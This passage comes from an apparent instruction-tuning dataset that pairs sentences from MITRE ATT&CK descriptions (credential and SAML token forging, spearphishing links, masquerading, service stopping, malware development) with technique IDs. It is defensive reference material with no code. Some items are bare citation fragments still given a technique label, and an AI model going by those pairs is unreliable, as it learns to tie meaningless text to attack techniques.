appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may generate these credential materials in order to gain access to web resources.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may generate these credential materials in order to gain access to web resources. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539),", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS Temporary Security Credentials)(Citation: Zimbra Preauth)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS Temporary Security Credentials)(Citation: Zimbra Preauth) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SolarWinds Customer Guidance)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SolarWinds Customer Guidance) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation:", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cyberark Golden SAML)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cyberark Golden SAML) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing with a link is a specific variant of spearphishing.", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing with a link is a specific variant of spearphishing. ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this case, the malicious emails contain links.", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this case, the malicious emails contain links. ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "output": "T1192", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017) ### Response: T1192."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, and contents.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, and contents. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various file types have a typical standard format, including how they are encoded and organized.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various file types have a typical standard format, including how they are encoded and organized. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001))", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "so that adversaries may move their malware without triggering detections.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: so that adversaries may move their malware without triggering detections. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user may not know that a file is malicious due to the benign appearance and file extension.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user may not know that a file is malicious due to the benign appearance and file extension. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID) ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users.", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation:", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Novetta Blockbuster)", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Novetta Blockbuster) ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster).", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018)", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Services or processes may not allow for modification of their data stores while running.", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Services or processes may not allow for modification of their data stores while running. ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation:", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecureWorks WannaCry Analysis)", "output": "T1489", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecureWorks WannaCry Analysis) ### Response: T1489."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may build capabilities that can be used during targeting.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may build capabilities that can be used during targeting. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Promethium June 2020)", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Promethium June 2020) ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing capabilities.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing capabilities. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop malware and malware components that can be used during targeting.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop malware and malware components that can be used during targeting. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing malware.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing malware. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional 